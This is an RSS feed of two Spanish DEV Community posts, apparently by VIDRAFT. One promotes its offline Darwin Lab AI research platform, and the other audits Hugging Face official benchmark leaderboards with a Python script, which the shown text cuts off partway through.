<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 김민식/학생</title>
    <description>The latest articles on DEV Community by 김민식/학생 (@_0e3192755d4df45b92).</description>
    <link>https://dev.to/_0e3192755d4df45b92</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4163327%2Ff19c87e6-dc4d-41e0-ba4c-8eecf08a41f0.png</url>
      <title>DEV Community: 김민식/학생</title>
      <link>https://dev.to/_0e3192755d4df45b92</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/_0e3192755d4df45b92"/>
    <language>en</language>
    <item>
      <title>No subas datos confidenciales de investigación a ChatGPT: Darwin Lab, un laboratorio privado de IA en un NVIDIA DGX Spark y un NAS</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Sun, 15 Nov 2026 08:03:13 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/no-subas-datos-confidenciales-de-investigacion-a-chatgpt-darwin-lab-un-laboratorio-privado-de-ia-lh9</link>
      <guid>https://dev.to/_0e3192755d4df45b92/no-subas-datos-confidenciales-de-investigacion-a-chatgpt-darwin-lab-un-laboratorio-privado-de-ia-lh9</guid>
      <description>&lt;h2&gt;
  
  
  Resumen
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://vidraft.net/p/hub-science.html" rel="noopener noreferrer"&gt;Darwin Lab&lt;/a&gt; es un laboratorio privado de investigación con IA que vive dentro de tu propio laboratorio. VIDRAFT integró su modelo Darwin y una plataforma completa de investigación científica en un mini superordenador NVIDIA DGX Spark y un NAS. Funciona sin conexión a internet, así que los datos de investigación no salen del edificio.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Razonamiento verificado por un tercero.&lt;/strong&gt; En la evaluación de SuperCLUE de noviembre de 2026, Darwin-180B-RSI obtuvo 73,7 puntos en razonamiento matemático y científico. Es el segundo puesto general, detrás de GPT-6.1-Sol (76,3), y el primero entre los modelos abiertos. Supera a Gemini-4-Argon (71,0), DeepSeek-V4.1-Flash (71,0) y Grok-4.7 (68,4).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Se puede instalar.&lt;/strong&gt; Entre los modelos que un laboratorio puede instalar en su propio equipo, Darwin ocupa el primer puesto.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Una organización, no solo un modelo.&lt;/strong&gt; Cinco funciones ejecutivas, doce jefes de equipo y diez arneses formulan hipótesis, ejecutan experimentos, verifican los resultados de los demás y lo registran todo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Usado en investigación real.&lt;/strong&gt; Con esta plataforma VIDRAFT encontró un nuevo compuesto candidato a fármaco y presentó una patente de sustancia. La validación en laboratorio está en marcha.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mira la presentación de tres minutos en &lt;a href="https://www.youtube.com/watch?v=HBgV1d12dk8" rel="noopener noreferrer"&gt;YouTube&lt;/a&gt; (narración en coreano con subtítulos) o abre la &lt;a href="https://vidraft.net/science-onprem/index.html" rel="noopener noreferrer"&gt;demo&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Es seguro subir datos confidenciales de investigación a una IA en la nube?
&lt;/h2&gt;

&lt;p&gt;Un candidato a fármaco, mediciones no publicadas y datos previos a una solicitud de patente no se pueden enviar a un servicio externo. Cuando los datos salen, no se pueden recuperar, y la responsabilidad recae en el investigador principal. Por eso muchos laboratorios mantenían su trabajo más importante lejos de los sistemas de IA más potentes.&lt;/p&gt;

&lt;p&gt;Darwin Lab responde con un movimiento sencillo: llevar la IA al interior del laboratorio.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué modelo instalable razona mejor en matemáticas y ciencias?
&lt;/h2&gt;

&lt;p&gt;Clasificación de razonamiento matemático y científico de SuperCLUE, noviembre de 2026.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Puesto&lt;/th&gt;
&lt;th&gt;Modelo&lt;/th&gt;
&lt;th&gt;Empresa&lt;/th&gt;
&lt;th&gt;Puntos&lt;/th&gt;
&lt;th&gt;Acceso&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;GPT-6.1-Sol&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;76,3&lt;/td&gt;
&lt;td&gt;Cerrado&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Darwin-180B-RSI&lt;/td&gt;
&lt;td&gt;VIDRAFT&lt;/td&gt;
&lt;td&gt;73,7&lt;/td&gt;
&lt;td&gt;Abierto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Gemini-4-Argon&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;71,0&lt;/td&gt;
&lt;td&gt;Cerrado&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;DeepSeek-V4.1-Flash&lt;/td&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;71,0&lt;/td&gt;
&lt;td&gt;Abierto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Grok-4.7&lt;/td&gt;
&lt;td&gt;xAI&lt;/td&gt;
&lt;td&gt;68,4&lt;/td&gt;
&lt;td&gt;Cerrado&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Los puestos 1, 3 y 5 son servicios cerrados que no se pueden instalar en un laboratorio. Entre los modelos instalables, Darwin es el primero.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué hay dentro de Darwin Lab?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Capa&lt;/th&gt;
&lt;th&gt;Función&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NVIDIA DGX Spark&lt;/td&gt;
&lt;td&gt;Mini superordenador de escritorio con 128 GB de memoria unificada. Ejecuta el modelo, los motores y los arneses.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NAS&lt;/td&gt;
&lt;td&gt;Guarda la biblioteca científica base, los datos del laboratorio, la memoria a largo plazo, las copias de seguridad y las actualizaciones firmadas.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Darwin-180B-RSI Science&lt;/td&gt;
&lt;td&gt;El modelo de razonamiento, creado por VIDRAFT.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 motores&lt;/td&gt;
&lt;td&gt;Ideación, razonamiento, análisis y evaluación.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 arneses&lt;/td&gt;
&lt;td&gt;Investigación autónoma, programación, experimentos, búsqueda bibliográfica, análisis de datos, verificación, redacción, automejora, ingesta de datos y operación web.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Organización nativa de IA&lt;/td&gt;
&lt;td&gt;Cinco funciones ejecutivas y doce jefes de equipo que comparten una sola memoria a largo plazo.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;El investigador escribe una petición de una línea. La plataforma lee su memoria a largo plazo, planifica, formula una hipótesis, ejecuta el experimento o el cálculo, envía el resultado a una verificación independiente y redacta el registro y un borrador de informe.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿En qué se diferencia de los productos de búsqueda documental (RAG)?
&lt;/h2&gt;

&lt;p&gt;La mayoría de los productos de IA locales añaden búsqueda documental a un modelo público. Encuentran documentos y los resumen. Darwin Lab se diferencia en tres puntos.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;VIDRAFT creó el modelo.&lt;/li&gt;
&lt;li&gt;Un tercero verificó el razonamiento del modelo.&lt;/li&gt;
&lt;li&gt;La plataforma investiga. Formula hipótesis, ejecuta experimentos, descubre y verifica, y el resultado de un equipo lo revisa otro equipo antes de llegar al investigador.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  ¿Qué ocurre con los datos que sube el laboratorio?
&lt;/h2&gt;

&lt;p&gt;Sube artículos, registros de laboratorio y mediciones. La plataforma los lee, los clasifica y construye con ellos la memoria a largo plazo. El producto incluye una biblioteca científica base. Cada elemento queda fijado a una versión, con su fuente, su hash y sus condiciones de uso, de modo que la misma pregunta devuelve la misma respuesta.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Funciona sin internet?&lt;/strong&gt;&lt;br&gt;
Sí. El modelo y toda la plataforma se ejecutan dentro del DGX Spark y el NAS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Para qué campos sirve?&lt;/strong&gt;&lt;br&gt;
Descubrimiento de fármacos, química y materiales, biología, física, matemáticas y ciencia computacional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Cómo se usa?&lt;/strong&gt;&lt;br&gt;
Se escribe una petición de investigación en una línea. La plataforma realiza en orden la búsqueda bibliográfica, el diseño del experimento, el cálculo y el borrador del informe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Puedo probarlo?&lt;/strong&gt;&lt;br&gt;
Abre la &lt;a href="https://vidraft.net/science-onprem/index.html" rel="noopener noreferrer"&gt;demo&lt;/a&gt; o solicita una demo gratuita en la &lt;a href="https://vidraft.net/p/hub-science.html" rel="noopener noreferrer"&gt;página del producto&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sobre VIDRAFT
&lt;/h2&gt;

&lt;p&gt;VIDRAFT es una empresa coreana de IA de tecnología profunda. Sus modelos abiertos superan los 4,6 millones de descargas en Hugging Face. El modelo, los motores y los arneses de Darwin Lab son de desarrollo propio.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>science</category>
      <category>spanish</category>
    </item>
    <item>
      <title>¿Cuánto vale un punto en un ranking de IA? Auditar los rankings oficiales de Hugging Face con Python</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Wed, 11 Nov 2026 02:31:53 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/cuanto-vale-un-punto-en-un-ranking-de-ia-auditar-los-rankings-oficiales-de-hugging-face-con-python-13n9</link>
      <guid>https://dev.to/_0e3192755d4df45b92/cuanto-vale-un-punto-en-un-ranking-de-ia-auditar-los-rankings-oficiales-de-hugging-face-con-python-13n9</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Hugging Face publica rankings oficiales por benchmark, y todos se pueden descargar por API sin clave. Los descargué el 11 de noviembre de 2026 (59 benchmarks, 1.389 resultados) y encontré tres cosas que cambian cómo se lee un primer puesto. Primera: &lt;strong&gt;ninguno de los 1.389 resultados lleva el sello &lt;code&gt;verified&lt;/code&gt;&lt;/strong&gt;, porque ese sello exige una evaluación ejecutada en HF Jobs con inspect-ai y hoy nadie lo tiene en estas tablas. Segunda: solo 590 resultados (42,5 %) traen una nota con el protocolo de evaluación, y 26 de esas notas mencionan voto mayoritario. Tercera: en GPQA Diamond (198 preguntas) una pregunta vale 0,505 puntos, así que el 1.º y el 2.º puesto, separados por 0,24 puntos, están separados por menos de media pregunta. Abajo está el script completo (unas 30 líneas, solo biblioteca estándar) para repetirlo hoy y comprobar que los números cambian.&lt;/p&gt;

&lt;p&gt;Aviso de entrada: esta cuenta es de VIDRAFT y en estas tablas aparecen modelos nuestros (FINAL-Bench/Darwin). Los incluyo con el mismo rasero que a los demás: sus resultados son autorreportados, no verificados, y en tres casos concretos (AIME 2026, HMMT y GPQA) explico abajo por qué su cifra de la tabla es la más favorable de las que publicamos.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué contiene exactamente un ranking oficial de Hugging Face?
&lt;/h2&gt;

&lt;p&gt;Un dataset con la etiqueta &lt;code&gt;benchmark:official&lt;/code&gt; y un archivo &lt;code&gt;eval.yaml&lt;/code&gt; define una o varias tareas. Los resultados no se envían a un formulario central: cada modelo guarda un YAML en su propio repositorio, dentro de &lt;code&gt;.eval_results/&lt;/code&gt;, y Hugging Face los agrega en la tabla del benchmark. Según la documentación del Hub, un resultado lleva como mínimo el dataset, la tarea y el valor, y opcionalmente una &lt;code&gt;source&lt;/code&gt; (por ejemplo, un enlace a trazas o a un paper), una fecha y una &lt;code&gt;notes&lt;/code&gt; con los detalles de la evaluación.&lt;/p&gt;

&lt;p&gt;El sello &lt;code&gt;verified&lt;/code&gt; se concede cuando hay un &lt;code&gt;verifyToken&lt;/code&gt; válido, es decir, cuando la evaluación corrió en HF Jobs con inspect-ai. Un resultado enviado por pull request abierta se muestra como &lt;code&gt;community&lt;/code&gt;. Todo lo demás es lo que el autor del modelo declara en su ficha.&lt;/p&gt;

&lt;p&gt;Esto no es una crítica a nadie: es un diseño descentralizado y la propia documentación lo llama un trabajo en curso. Pero implica que una tabla es un inventario de declaraciones, y que leerla bien exige mirar tres campos que casi nadie mira: &lt;code&gt;verified&lt;/code&gt;, &lt;code&gt;notes&lt;/code&gt; y el tamaño del benchmark.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cómo descargo todos los rankings oficiales con Python?
&lt;/h2&gt;

&lt;p&gt;La lista de benchmarks oficiales sale de un filtro de la API y cada ranking está en &lt;code&gt;/api/datasets/&amp;lt;id&amp;gt;/leaderboard&lt;/code&gt;. Este es el script completo. Solo usa la biblioteca estándar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;

&lt;span class="no"&gt;H&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"User-Agent"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Mozilla/5.0"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="no"&gt;H&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wilson&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://huggingface.co/api/datasets?filter=benchmark:official&amp;amp;limit=200"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;boards&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"https://huggingface.co/api/datasets/{i}/leaderboard"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ids&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lb&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;boards&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"benchmarks:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"| entries:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"verified=true:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"verified"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"with notes:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"notes mention majority/voting:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="s2"&gt;"majority|maj@|voting"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="no"&gt;N&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Idavidrein/gpqa"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;198&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"TIGER-Lab/MMLU-Pro"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;12032&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"MathArena/aime_2026"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="s2"&gt;"MathArena/hmmt_feb_2026"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"cais/hle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"SWE-bench/SWE-bench_Verified"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
